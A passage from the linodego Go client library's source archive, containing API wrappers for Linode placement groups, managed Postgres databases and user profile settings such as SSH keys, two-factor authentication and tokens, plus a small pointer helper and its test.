PlacementGroupPolicy `json:"placement_group_policy"` IsCompliant bool `json:"is_compliant"` Members []PlacementGroupMember `json:"members"` Migrations *PlacementGroupMigrations `json:"migrations"` } // PlacementGroupMigrations represent the instances that are being migrated to or from the placement group. type PlacementGroupMigrations struct { Inbound []PlacementGroupMigrationInstance `json:"inbound"` Outbound []PlacementGroupMigrationInstance `json:"outbound"` } // PlacementGroupMigrationInstance represents the unique identifier for a compute instance being migrated to/from the placement group. type PlacementGroupMigrationInstance struct { LinodeID int `json:"linode_id"` } // PlacementGroupCreateOptions represents the options to use // when creating a placement group. type PlacementGroupCreateOptions struct { Label string `json:"label"` Region string `json:"region"` PlacementGroupType PlacementGroupType `json:"placement_group_type"` PlacementGroupPolicy PlacementGroupPolicy `json:"placement_group_policy"` } // PlacementGroupUpdateOptions represents the options to use // when updating a placement group. type PlacementGroupUpdateOptions struct { Label string `json:"label,omitempty"` } // PlacementGroupAssignOptions represents options used when // assigning Linodes to a placement group. type PlacementGroupAssignOptions struct { Linodes []int `json:"linodes"` CompliantOnly *bool `json:"compliant_only,omitempty"` } // PlacementGroupUnAssignOptions represents options used when // unassigning Linodes from a placement group. type PlacementGroupUnAssignOptions struct { Linodes []int `json:"linodes"` } // ListPlacementGroups lists placement groups under the current account // matching the given list options. func (c *Client) ListPlacementGroups( ctx context.Context, options *ListOptions, ) ([]PlacementGroup, error) { return getPaginatedResults[PlacementGroup]( ctx, c, "placement/groups", options, ) } // GetPlacementGroup gets a placement group with the specified ID. func (c *Client) GetPlacementGroup( ctx context.Context, id int, ) (*PlacementGroup, error) { return doGETRequest[PlacementGroup]( ctx, c, formatAPIPath("placement/groups/%d", id), ) } // CreatePlacementGroup creates a placement group with the specified options. func (c *Client) CreatePlacementGroup( ctx context.Context, options PlacementGroupCreateOptions, ) (*PlacementGroup, error) { return doPOSTRequest[PlacementGroup]( ctx, c, "placement/groups", options, ) } // UpdatePlacementGroup updates a placement group with the specified ID using the provided options. func (c *Client) UpdatePlacementGroup( ctx context.Context, id int, options PlacementGroupUpdateOptions, ) (*PlacementGroup, error) { return doPUTRequest[PlacementGroup]( ctx, c, formatAPIPath("placement/groups/%d", id), options, ) } // AssignPlacementGroupLinodes assigns the specified Linodes to the given // placement group. func (c *Client) AssignPlacementGroupLinodes( ctx context.Context, id int, options PlacementGroupAssignOptions, ) (*PlacementGroup, error) { return doPOSTRequest[PlacementGroup]( ctx, c, formatAPIPath("placement/groups/%d/assign", id), options, ) } // UnassignPlacementGroupLinodes un-assigns the specified Linodes from the given // placement group. func (c *Client) UnassignPlacementGroupLinodes( ctx context.Context, id int, options PlacementGroupUnAssignOptions, ) (*PlacementGroup, error) { return doPOSTRequest[PlacementGroup]( ctx, c, formatAPIPath("placement/groups/%d/unassign", id), options, ) } // DeletePlacementGroup deletes a placement group with the specified ID. func (c *Client) DeletePlacementGroup( ctx context.Context, id int, ) error { return doDELETERequest( ctx, c, formatAPIPath("placement/groups/%d", id), ) } golang-github-linode-linodego-1.47.0/pointer_helpers.go000066400000000000000000000007331474652371000231450ustar00rootroot00000000000000package linodego /* Pointer takes a value of any type T and returns a pointer to that value. Go does not allow directly creating pointers to literals, so Pointer enables abstraction away the pointer logic. Example: booted := true createOpts := linodego.InstanceCreateOptions{ Booted: &booted, } can be replaced with createOpts := linodego.InstanceCreateOptions{ Booted: linodego.Pointer(true), } */ func Pointer[T any](value T) *T { return &value } golang-github-linode-linodego-1.47.0/pointer_helpers_test.go000066400000000000000000000021441474652371000242020ustar00rootroot00000000000000package linodego import ( "testing" ) // TestPointer tests the Pointer helper function with various types func TestPointer(t *testing.T) { // Test with an integer intValue := 11 intPtr := Pointer(intValue) if *intPtr != intValue { t.Errorf("Expected %d, got %d", intValue, *intPtr) } // Test with a float floatValue := 1.23 floatPtr := Pointer(floatValue) if *floatPtr != floatValue { t.Errorf("Expected %f, got %f", floatValue, *floatPtr) } // Test with a string stringValue := "hello world" stringPtr := Pointer(stringValue) if *stringPtr != stringValue { t.Errorf("Expected %s, got %s", stringValue, *stringPtr) } // Test with a boolean boolValue := true boolPtr := Pointer(boolValue) if *boolPtr != boolValue { t.Errorf("Expected %t, got %t", boolValue, *boolPtr) } // Test with a struct type myStruct struct { Field1 int Field2 string } structValue := myStruct{Field1: 1, Field2: "test"} structPtr := Pointer(structValue) if structPtr.Field1 != structValue.Field1 || structPtr.Field2 != structValue.Field2 { t.Errorf("Expected %+v, got %+v", structValue, *structPtr) } } golang-github-linode-linodego-1.47.0/postgres.go000066400000000000000000000274021474652371000216130ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) type PostgresDatabaseTarget string const ( PostgresDatabaseTargetPrimary PostgresDatabaseTarget = "primary" PostgresDatabaseTargetSecondary PostgresDatabaseTarget = "secondary" ) type PostgresCommitType string const ( PostgresCommitTrue PostgresCommitType = "true" PostgresCommitFalse PostgresCommitType = "false" PostgresCommitLocal PostgresCommitType = "local" PostgresCommitRemoteWrite PostgresCommitType = "remote_write" PostgresCommitRemoteApply PostgresCommitType = "remote_apply" ) type PostgresReplicationType string const ( PostgresReplicationNone PostgresReplicationType = "none" PostgresReplicationAsynch PostgresReplicationType = "asynch" PostgresReplicationSemiSynch PostgresReplicationType = "semi_synch" ) // A PostgresDatabase is an instance of Linode Postgres Managed Databases type PostgresDatabase struct { ID int `json:"id"` Status DatabaseStatus `json:"status"` Label string `json:"label"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` Version string `json:"version"` AllowList []string `json:"allow_list"` Port int `json:"port"` ClusterSize int `json:"cluster_size"` Platform DatabasePlatform `json:"platform"` // Members has dynamic keys so it is a map Members map[string]DatabaseMemberType `json:"members"` // Deprecated: ReplicationCommitType is a deprecated property, as it is no longer supported in DBaaS V2. ReplicationCommitType PostgresCommitType `json:"replication_commit_type"` // Deprecated: ReplicationType is a deprecated property, as it is no longer supported in DBaaS V2. ReplicationType PostgresReplicationType `json:"replication_type"` // Deprecated: SSLConnection is a deprecated property, as it is no longer supported in DBaaS V2. SSLConnection bool `json:"ssl_connection"` // Deprecated: Encrypted is a deprecated property, as it is no longer supported in DBaaS V2. Encrypted bool `json:"encrypted"` Hosts DatabaseHost `json:"hosts"` Updates DatabaseMaintenanceWindow `json:"updates"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Fork *DatabaseFork `json:"fork"` OldestRestoreTime *time.Time `json:"-"` UsedDiskSizeGB int `json:"used_disk_size_gb"` TotalDiskSizeGB int `json:"total_disk_size_gb"` } func (d *PostgresDatabase) UnmarshalJSON(b []byte) error { type Mask PostgresDatabase p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` OldestRestoreTime *parseabletime.ParseableTime `json:"oldest_restore_time"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) d.Updated = (*time.Time)(p.Updated) d.OldestRestoreTime = (*time.Time)(p.OldestRestoreTime) return nil } // PostgresCreateOptions fields are used when creating a new Postgres Database type PostgresCreateOptions struct { Label string `json:"label"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` AllowList []string `json:"allow_list,omitempty"` ClusterSize int `json:"cluster_size,omitempty"` // Deprecated: Encrypted is a deprecated property, as it is no longer supported in DBaaS V2. Encrypted bool `json:"encrypted,omitempty"` // Deprecated: SSLConnection is a deprecated property, as it is no longer supported in DBaaS V2. SSLConnection bool `json:"ssl_connection,omitempty"` // Deprecated: ReplicationType is a deprecated property, as it is no longer supported in DBaaS V2. ReplicationType PostgresReplicationType `json:"replication_type,omitempty"` // Deprecated: ReplicationCommitType is a deprecated property, as it is no longer supported in DBaaS V2. ReplicationCommitType PostgresCommitType `json:"replication_commit_type,omitempty"` Fork *DatabaseFork `json:"fork,omitempty"` } // PostgresUpdateOptions fields are used when altering the existing Postgres Database type PostgresUpdateOptions struct { Label string `json:"label,omitempty"` AllowList *[]string `json:"allow_list,omitempty"` Updates *DatabaseMaintenanceWindow `json:"updates,omitempty"` Type string `json:"type,omitempty"` ClusterSize int `json:"cluster_size,omitempty"` Version string `json:"version,omitempty"` } // PostgresDatabaseSSL is the SSL Certificate to access the Linode Managed Postgres Database type PostgresDatabaseSSL struct { CACertificate []byte `json:"ca_certificate"` } // PostgresDatabaseCredential is the Root Credentials to access the Linode Managed Database type PostgresDatabaseCredential struct { Username string `json:"username"` Password string `json:"password"` } // ListPostgresDatabases lists all Postgres Databases associated with the account func (c *Client) ListPostgresDatabases(ctx context.Context, opts *ListOptions) ([]PostgresDatabase, error) { response, err := getPaginatedResults[PostgresDatabase](ctx, c, "databases/postgresql/instances", opts) return response, err } // PostgresDatabaseBackup is information for interacting with a backup for the existing Postgres Database // Deprecated: PostgresDatabaseBackup is a deprecated struct, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. type PostgresDatabaseBackup struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` Created *time.Time `json:"-"` } func (d *PostgresDatabaseBackup) UnmarshalJSON(b []byte) error { type Mask PostgresDatabaseBackup p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) return nil } // PostgresBackupCreateOptions are options used for CreatePostgresDatabaseBackup(...) // Deprecated: PostgresBackupCreateOptions is a deprecated struct, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. type PostgresBackupCreateOptions struct { Label string `json:"label"` Target PostgresDatabaseTarget `json:"target"` } // ListPostgresDatabaseBackups lists all Postgres Database Backups associated with the given Postgres Database // Deprecated: ListPostgresDatabaseBackups is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (c *Client) ListPostgresDatabaseBackups(ctx context.Context, databaseID int, opts *ListOptions) ([]PostgresDatabaseBackup, error) { response, err := getPaginatedResults[PostgresDatabaseBackup](ctx, c, formatAPIPath("databases/postgresql/instances/%d/backups", databaseID), opts) return response, err } // GetPostgresDatabase returns a single Postgres Database matching the id func (c *Client) GetPostgresDatabase(ctx context.Context, databaseID int) (*PostgresDatabase, error) { e := formatAPIPath("databases/postgresql/instances/%d", databaseID) response, err := doGETRequest[PostgresDatabase](ctx, c, e) return response, err } // CreatePostgresDatabase creates a new Postgres Database using the createOpts as configuration, returns the new Postgres Database func (c *Client) CreatePostgresDatabase(ctx context.Context, opts PostgresCreateOptions) (*PostgresDatabase, error) { e := "databases/postgresql/instances" response, err := doPOSTRequest[PostgresDatabase](ctx, c, e, opts) return response, err } // DeletePostgresDatabase deletes an existing Postgres Database with the given id func (c *Client) DeletePostgresDatabase(ctx context.Context, databaseID int) error { e := formatAPIPath("databases/postgresql/instances/%d", databaseID) err := doDELETERequest(ctx, c, e) return err } // UpdatePostgresDatabase updates the given Postgres Database with the provided opts, returns the PostgresDatabase with the new settings func (c *Client) UpdatePostgresDatabase(ctx context.Context, databaseID int, opts PostgresUpdateOptions) (*PostgresDatabase, error) { e := formatAPIPath("databases/postgresql/instances/%d", databaseID) response, err := doPUTRequest[PostgresDatabase](ctx, c, e, opts) return response, err } // PatchPostgresDatabase applies security patches and updates to the underlying operating system of the Managed Postgres Database func (c *Client) PatchPostgresDatabase(ctx context.Context, databaseID int) error { e := formatAPIPath("databases/postgresql/instances/%d/patch", databaseID) _, err := doPOSTRequest[PostgresDatabase, any](ctx, c, e) return err } // GetPostgresDatabaseCredentials returns the Root Credentials for the given Postgres Database func (c *Client) GetPostgresDatabaseCredentials(ctx context.Context, databaseID int) (*PostgresDatabaseCredential, error) { e := formatAPIPath("databases/postgresql/instances/%d/credentials", databaseID) response, err := doGETRequest[PostgresDatabaseCredential](ctx, c, e) return response, err } // ResetPostgresDatabaseCredentials returns the Root Credentials for the given Postgres Database (may take a few seconds to work) func (c *Client) ResetPostgresDatabaseCredentials(ctx context.Context, databaseID int) error { e := formatAPIPath("databases/postgresql/instances/%d/credentials/reset", databaseID) _, err := doPOSTRequest[PostgresDatabaseCredential, any](ctx, c, e) return err } // GetPostgresDatabaseSSL returns the SSL Certificate for the given Postgres Database func (c *Client) GetPostgresDatabaseSSL(ctx context.Context, databaseID int) (*PostgresDatabaseSSL, error) { e := formatAPIPath("databases/postgresql/instances/%d/ssl", databaseID) response, err := doGETRequest[PostgresDatabaseSSL](ctx, c, e) return response, err } // GetPostgresDatabaseBackup returns a specific Postgres Database Backup with the given ids // Deprecated: GetPostgresDatabaseBackup is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (c *Client) GetPostgresDatabaseBackup(ctx context.Context, databaseID int, backupID int) (*PostgresDatabaseBackup, error) { e := formatAPIPath("databases/postgresql/instances/%d/backups/%d", databaseID, backupID) response, err := doGETRequest[PostgresDatabaseBackup](ctx, c, e) return response, err } // RestorePostgresDatabaseBackup returns the given Postgres Database with the given Backup // Deprecated: RestorePostgresDatabaseBackup is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (c *Client) RestorePostgresDatabaseBackup(ctx context.Context, databaseID int, backupID int) error { e := formatAPIPath("databases/postgresql/instances/%d/backups/%d/restore", databaseID, backupID) _, err := doPOSTRequest[PostgresDatabaseBackup, any](ctx, c, e) return err } // CreatePostgresDatabaseBackup creates a snapshot for the given Postgres database // Deprecated: CreatePostgresDatabaseBackup is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (c *Client) CreatePostgresDatabaseBackup(ctx context.Context, databaseID int, opts PostgresBackupCreateOptions) error { e := formatAPIPath("databases/postgresql/instances/%d/backups", databaseID) _, err := doPOSTRequest[PostgresDatabaseBackup](ctx, c, e, opts) return err } golang-github-linode-linodego-1.47.0/profile.go000066400000000000000000000063701474652371000214060ustar00rootroot00000000000000package linodego import ( "context" ) // LishAuthMethod constants start with AuthMethod and include Linode API Lish Authentication Methods type LishAuthMethod string // LishAuthMethod constants are the methods of authentication allowed when connecting via Lish const ( AuthMethodPasswordKeys LishAuthMethod = "password_keys" AuthMethodKeysOnly LishAuthMethod = "keys_only" AuthMethodDisabled LishAuthMethod = "disabled" ) // ProfileReferrals represent a User's status in the Referral Program type ProfileReferrals struct { Total int `json:"total"` Completed int `json:"completed"` Pending int `json:"pending"` Credit float64 `json:"credit"` Code string `json:"code"` URL string `json:"url"` } // Profile represents a Profile object type Profile struct { UID int `json:"uid"` Username string `json:"username"` Email string `json:"email"` Timezone string `json:"timezone"` EmailNotifications bool `json:"email_notifications"` IPWhitelistEnabled bool `json:"ip_whitelist_enabled"` TwoFactorAuth bool `json:"two_factor_auth"` Restricted bool `json:"restricted"` LishAuthMethod LishAuthMethod `json:"lish_auth_method"` Referrals ProfileReferrals `json:"referrals"` AuthorizedKeys []string `json:"authorized_keys"` AuthenticationType string `json:"authentication_type"` VerifiedPhoneNumber string `json:"verified_phone_number,omitempty"` } // ProfileUpdateOptions fields are those accepted by UpdateProfile type ProfileUpdateOptions struct { Email string `json:"email,omitempty"` Timezone string `json:"timezone,omitempty"` EmailNotifications *bool `json:"email_notifications,omitempty"` IPWhitelistEnabled *bool `json:"ip_whitelist_enabled,omitempty"` LishAuthMethod LishAuthMethod `json:"lish_auth_method,omitempty"` AuthorizedKeys *[]string `json:"authorized_keys,omitempty"` TwoFactorAuth *bool `json:"two_factor_auth,omitempty"` Restricted *bool `json:"restricted,omitempty"` } // GetUpdateOptions converts a Profile to ProfileUpdateOptions for use in UpdateProfile func (i Profile) GetUpdateOptions() (o ProfileUpdateOptions) { o.Email = i.Email o.Timezone = i.Timezone o.EmailNotifications = copyBool(&i.EmailNotifications) o.IPWhitelistEnabled = copyBool(&i.IPWhitelistEnabled) o.LishAuthMethod = i.LishAuthMethod authorizedKeys := make([]string, len(i.AuthorizedKeys)) copy(authorizedKeys, i.AuthorizedKeys) o.AuthorizedKeys = &authorizedKeys o.TwoFactorAuth = copyBool(&i.TwoFactorAuth) o.Restricted = copyBool(&i.Restricted) return } // GetProfile returns the Profile of the authenticated user func (c *Client) GetProfile(ctx context.Context) (*Profile, error) { e := "profile" response, err := doGETRequest[Profile](ctx, c, e) return response, err } // UpdateProfile updates the Profile with the specified id func (c *Client) UpdateProfile(ctx context.Context, opts ProfileUpdateOptions) (*Profile, error) { e := "profile" response, err := doPUTRequest[Profile](ctx, c, e, opts) return response, err } golang-github-linode-linodego-1.47.0/profile_apps.go000066400000000000000000000036471474652371000224350ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // ProfileApp represents a ProfileApp object type ProfileApp struct { // When this app was authorized. Created *time.Time `json:"-"` // When the app's access to your account expires. Expiry *time.Time `json:"-"` // This authorization's ID, used for revoking access. ID int `json:"id"` // The name of the application you've authorized. Label string `json:"label"` // The OAuth scopes this app was authorized with. Scopes string `json:"scopes"` // The URL at which this app's thumbnail may be accessed. ThumbnailURL string `json:"thumbnail_url"` // The website where you can get more information about this app. Website string `json:"website"` } // UnmarshalJSON implements the json.Unmarshaler interface func (pa *ProfileApp) UnmarshalJSON(b []byte) error { type Mask ProfileApp l := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Expiry *parseabletime.ParseableTime `json:"expiry"` }{ Mask: (*Mask)(pa), } if err := json.Unmarshal(b, &l); err != nil { return err } pa.Created = (*time.Time)(l.Created) pa.Expiry = (*time.Time)(l.Expiry) return nil } // GetProfileApp returns the ProfileApp with the provided id func (c *Client) GetProfileApp(ctx context.Context, appID int) (*ProfileApp, error) { e := formatAPIPath("profile/apps/%d", appID) return doGETRequest[ProfileApp](ctx, c, e) } // ListProfileApps lists ProfileApps that have access to the Account func (c *Client) ListProfileApps(ctx context.Context, opts *ListOptions) ([]ProfileApp, error) { return getPaginatedResults[ProfileApp](ctx, c, "profile/apps", opts) } // DeleteProfileApp revokes the given ProfileApp's access to the account func (c *Client) DeleteProfileApp(ctx context.Context, appID int) error { e := formatAPIPath("profile/apps/%d", appID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/profile_devices.go000066400000000000000000000042431474652371000231050ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // ProfileDevice represents a ProfileDevice object type ProfileDevice struct { // When this Remember Me session was started. Created *time.Time `json:"-"` // When this TrustedDevice session expires. Sessions typically last 30 days. Expiry *time.Time `json:"-"` // The unique ID for this TrustedDevice. ID int `json:"id"` // he last time this TrustedDevice was successfully used to authenticate to login.linode.com LastAuthenticated *time.Time `json:"-"` // The last IP Address to successfully authenticate with this TrustedDevice. LastRemoteAddr string `json:"last_remote_addr"` // The User Agent of the browser that created this TrustedDevice session. UserAgent string `json:"user_agent"` } // UnmarshalJSON implements the json.Unmarshaler interface func (pd *ProfileDevice) UnmarshalJSON(b []byte) error { type Mask ProfileDevice l := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Expiry *parseabletime.ParseableTime `json:"expiry"` LastAuthenticated *parseabletime.ParseableTime `json:"last_authenticated"` }{ Mask: (*Mask)(pd), } if err := json.Unmarshal(b, &l); err != nil { return err } pd.Created = (*time.Time)(l.Created) pd.Expiry = (*time.Time)(l.Expiry) pd.LastAuthenticated = (*time.Time)(l.LastAuthenticated) return nil } // GetProfileDevice returns the ProfileDevice with the provided id func (c *Client) GetProfileDevice(ctx context.Context, deviceID int) (*ProfileDevice, error) { e := formatAPIPath("profile/devices/%d", deviceID) return doGETRequest[ProfileDevice](ctx, c, e) } // ListProfileDevices lists ProfileDevices for the User func (c *Client) ListProfileDevices(ctx context.Context, opts *ListOptions) ([]ProfileDevice, error) { return getPaginatedResults[ProfileDevice](ctx, c, "profile/devices", opts) } // DeleteProfileDevice revokes the given ProfileDevice's status as a trusted device func (c *Client) DeleteProfileDevice(ctx context.Context, deviceID int) error { e := formatAPIPath("profile/devices/%d", deviceID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/profile_grants_list.go000066400000000000000000000004141474652371000240100ustar00rootroot00000000000000package linodego import ( "context" ) type GrantsListResponse = UserGrants func (c *Client) GrantsList(ctx context.Context) (*GrantsListResponse, error) { e := "profile/grants" response, err := doGETRequest[GrantsListResponse](ctx, c, e) return response, err } golang-github-linode-linodego-1.47.0/profile_logins.go000066400000000000000000000025071474652371000227570ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Profile represents a Profile object type ProfileLogin struct { Datetime *time.Time `json:"datetime"` ID int `json:"id"` IP string `json:"ip"` Restricted bool `json:"restricted"` Status string `json:"status"` Username string `json:"username"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *ProfileLogin) UnmarshalJSON(b []byte) error { type Mask ProfileLogin l := struct { *Mask Datetime *parseabletime.ParseableTime `json:"datetime"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &l); err != nil { return err } i.Datetime = (*time.Time)(l.Datetime) return nil } // GetProfileLogin returns the Profile Login of the authenticated user func (c *Client) GetProfileLogin(ctx context.Context, id int) (*ProfileLogin, error) { e := formatAPIPath("profile/logins/%d", id) response, err := doGETRequest[ProfileLogin](ctx, c, e) return response, err } // ListProfileLogins lists Profile Logins of the authenticated user func (c *Client) ListProfileLogins(ctx context.Context, opts *ListOptions) ([]ProfileLogin, error) { response, err := getPaginatedResults[ProfileLogin](ctx, c, "profile/logins", opts) return response, err } golang-github-linode-linodego-1.47.0/profile_phone_number.go000066400000000000000000000025041474652371000241420ustar00rootroot00000000000000package linodego import ( "context" ) // SendPhoneNumberVerificationCodeOptions fields are those accepted by SendPhoneNumberVerificationCode type SendPhoneNumberVerificationCodeOptions struct { ISOCode string `json:"iso_code"` PhoneNumber string `json:"phone_number"` } // VerifyPhoneNumberOptions fields are those accepted by VerifyPhoneNumber type VerifyPhoneNumberOptions struct { OTPCode string `json:"otp_code"` } // SendPhoneNumberVerificationCode sends a one-time verification code via SMS message to the submitted phone number. func (c *Client) SendPhoneNumberVerificationCode(ctx context.Context, opts SendPhoneNumberVerificationCodeOptions) error { e := "profile/phone-number" _, err := doPOSTRequest[any](ctx, c, e, opts) return err } // DeletePhoneNumber deletes the verified phone number for the User making this request. func (c *Client) DeletePhoneNumber(ctx context.Context) error { e := "profile/phone-number" err := doDELETERequest(ctx, c, e) return err } // VerifyPhoneNumber verifies a phone number by confirming the one-time code received via SMS message after accessing the Phone Verification Code Send command. func (c *Client) VerifyPhoneNumber(ctx context.Context, opts VerifyPhoneNumberOptions) error { e := "profile/phone-number/verify" _, err := doPOSTRequest[any](ctx, c, e, opts) return err } golang-github-linode-linodego-1.47.0/profile_preferences.go000066400000000000000000000021041474652371000237560ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" ) // ProfilePreferences represents the user's preferences. // The user preferences endpoints allow consumers of the API to store arbitrary JSON data, // such as a user's font size preference or preferred display name. type ProfilePreferences map[string]interface{} // UnmarshalJSON implements the json.Unmarshaler interface func (p *ProfilePreferences) UnmarshalJSON(b []byte) error { var data map[string]interface{} if err := json.Unmarshal(b, &data); err != nil { return err } *p = data return nil } // GetProfilePreferences retrieves the user preferences for the current User func (c *Client) GetProfilePreferences(ctx context.Context) (*ProfilePreferences, error) { return doGETRequest[ProfilePreferences](ctx, c, "profile/preferences") } // UpdateProfilePreferences updates the user's preferences with the provided data func (c *Client) UpdateProfilePreferences(ctx context.Context, opts ProfilePreferences) (*ProfilePreferences, error) { return doPUTRequest[ProfilePreferences](ctx, c, "profile/preferences", opts) } golang-github-linode-linodego-1.47.0/profile_security_questions.go000066400000000000000000000022771474652371000254510ustar00rootroot00000000000000package linodego import ( "context" ) type SecurityQuestion struct { ID int `json:"id"` Question string `json:"question"` Response string `json:"response"` } type SecurityQuestionsListResponse struct { SecurityQuestions []SecurityQuestion `json:"security_questions"` } type SecurityQuestionsAnswerQuestion struct { QuestionID int `json:"question_id"` Response string `json:"response"` } type SecurityQuestionsAnswerOptions struct { SecurityQuestions []SecurityQuestionsAnswerQuestion `json:"security_questions"` } // SecurityQuestionsList returns a collection of security questions and their responses, if any, for your User Profile. func (c *Client) SecurityQuestionsList(ctx context.Context) (*SecurityQuestionsListResponse, error) { e := "profile/security-questions" response, err := doGETRequest[SecurityQuestionsListResponse](ctx, c, e) if err != nil { return nil, err } return response, nil } // SecurityQuestionsAnswer adds security question responses for your User. func (c *Client) SecurityQuestionsAnswer(ctx context.Context, opts SecurityQuestionsAnswerOptions) error { e := "profile/security-questions" _, err := doPOSTRequest[any](ctx, c, e, opts) return err } golang-github-linode-linodego-1.47.0/profile_sshkeys.go000066400000000000000000000052371474652371000231600ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // SSHKey represents a SSHKey object type SSHKey struct { ID int `json:"id"` Label string `json:"label"` SSHKey string `json:"ssh_key"` Created *time.Time `json:"-"` } // SSHKeyCreateOptions fields are those accepted by CreateSSHKey type SSHKeyCreateOptions struct { Label string `json:"label"` SSHKey string `json:"ssh_key"` } // SSHKeyUpdateOptions fields are those accepted by UpdateSSHKey type SSHKeyUpdateOptions struct { Label string `json:"label"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *SSHKey) UnmarshalJSON(b []byte) error { type Mask SSHKey p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) return nil } // GetCreateOptions converts a SSHKey to SSHKeyCreateOptions for use in CreateSSHKey func (i SSHKey) GetCreateOptions() (o SSHKeyCreateOptions) { o.Label = i.Label o.SSHKey = i.SSHKey return } // GetUpdateOptions converts a SSHKey to SSHKeyCreateOptions for use in UpdateSSHKey func (i SSHKey) GetUpdateOptions() (o SSHKeyUpdateOptions) { o.Label = i.Label return } // ListSSHKeys lists SSHKeys func (c *Client) ListSSHKeys(ctx context.Context, opts *ListOptions) ([]SSHKey, error) { response, err := getPaginatedResults[SSHKey](ctx, c, "profile/sshkeys", opts) if err != nil { return nil, err } return response, nil } // GetSSHKey gets the sshkey with the provided ID func (c *Client) GetSSHKey(ctx context.Context, keyID int) (*SSHKey, error) { e := formatAPIPath("profile/sshkeys/%d", keyID) response, err := doGETRequest[SSHKey](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateSSHKey creates a SSHKey func (c *Client) CreateSSHKey(ctx context.Context, opts SSHKeyCreateOptions) (*SSHKey, error) { e := "profile/sshkeys" response, err := doPOSTRequest[SSHKey](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateSSHKey updates the SSHKey with the specified id func (c *Client) UpdateSSHKey(ctx context.Context, keyID int, opts SSHKeyUpdateOptions) (*SSHKey, error) { e := formatAPIPath("profile/sshkeys/%d", keyID) response, err := doPUTRequest[SSHKey](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteSSHKey deletes the SSHKey with the specified id func (c *Client) DeleteSSHKey(ctx context.Context, keyID int) error { e := formatAPIPath("profile/sshkeys/%d", keyID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/profile_tfa.go000066400000000000000000000034661474652371000222430ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // TwoFactorSecret contains fields returned by CreateTwoFactorSecret type TwoFactorSecret struct { Expiry *time.Time `json:"expiry"` Secret string `json:"secret"` } // ConfirmTwoFactorOptions contains fields used by ConfirmTwoFactor type ConfirmTwoFactorOptions struct { TFACode string `json:"tfa_code"` } // ConfirmTwoFactorResponse contains fields returned by ConfirmTwoFactor type ConfirmTwoFactorResponse struct { Scratch string `json:"scratch"` } func (s *TwoFactorSecret) UnmarshalJSON(b []byte) error { type Mask TwoFactorSecret p := struct { *Mask Expiry *parseabletime.ParseableTime `json:"expiry"` }{ Mask: (*Mask)(s), } if err := json.Unmarshal(b, &p); err != nil { return err } s.Expiry = (*time.Time)(p.Expiry) return nil } // CreateTwoFactorSecret generates a Two Factor secret for your User. func (c *Client) CreateTwoFactorSecret(ctx context.Context) (*TwoFactorSecret, error) { e := "profile/tfa-enable" response, err := doPOSTRequest[TwoFactorSecret, any](ctx, c, e) if err != nil { return nil, err } return response, nil } // DisableTwoFactor disables Two Factor Authentication for your User. func (c *Client) DisableTwoFactor(ctx context.Context) error { e := "profile/tfa-disable" _, err := doPOSTRequest[TwoFactorSecret, any](ctx, c, e) return err } // ConfirmTwoFactor confirms that you can successfully generate Two Factor codes and enables TFA on your Account. func (c *Client) ConfirmTwoFactor(ctx context.Context, opts ConfirmTwoFactorOptions) (*ConfirmTwoFactorResponse, error) { e := "profile/tfa-enable-confirm" response, err := doPOSTRequest[ConfirmTwoFactorResponse](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/profile_tokens.go000066400000000000000000000121021474652371000227570ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Token represents a Token object type Token struct { // This token's unique ID, which can be used to revoke it. ID int `json:"id"` // The scopes this token was created with. These define what parts of the Account the token can be used to access. Many command-line tools, such as the Linode CLI, require tokens with access to *. Tokens with more restrictive scopes are generally more secure. // Valid values are "*" or a comma separated list of scopes https://techdocs.akamai.com/linode-api/reference/get-started#oauth-reference Scopes string `json:"scopes"` // This token's label. This is for display purposes only, but can be used to more easily track what you're using each token for. (1-100 Characters) Label string `json:"label"` // The token used to access the API. When the token is created, the full token is returned here. 